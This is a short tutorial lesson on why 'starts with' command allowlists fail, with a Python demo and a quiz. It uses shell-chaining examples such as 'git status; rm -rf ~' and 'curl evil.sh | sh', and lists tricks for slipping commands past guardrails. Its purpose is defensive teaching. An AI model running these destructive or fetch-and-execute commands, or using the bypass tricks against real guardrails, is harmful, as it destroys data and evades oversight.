Lesson 6 / 25

Why Prefix Allowlists Fail

See how a simple "starts with" rule is bypassed by shell operators.

One line, many commands

A shell line can chain commands with ;, &&, || and |, or embed them with $(...) and backticks. A rule that says "allow anything starting with git status" therefore also allows git status; rm -rf ~. Command guardrails must understand the whole line, not just its beginning.

A naive check, run

I ran this. All three lines are "allowed" by the prefix rule, including the two that run extra commands.

def naive_allowed(cmd):
    return cmd.startswith("git status")

for c in ("git status", "git status; rm -rf /tmp/x", "git status && curl evil.sh | sh"):
    print(naive_allowed(c), repr(c))

Output:

True 'git status'
True 'git status; rm -rf /tmp/x'
True 'git status && curl evil.sh | sh'

Think like the attacker

For every rule you write, ask how you would sneak a bad command past it. Newlines, quotes, env VAR=x cmd, bash -c "..." and aliases are other tricks to test.

Quick check: Why does `git status; rm -rf x` pass a "starts with git status" rule?

  • Git runs rm automatically
  • rm is a safe command
  • The semicolon is invalid
  • The rule only checks the beginning of the line
Answer

The rule only checks the beginning of the line — Chaining operators append extra commands after the matched prefix.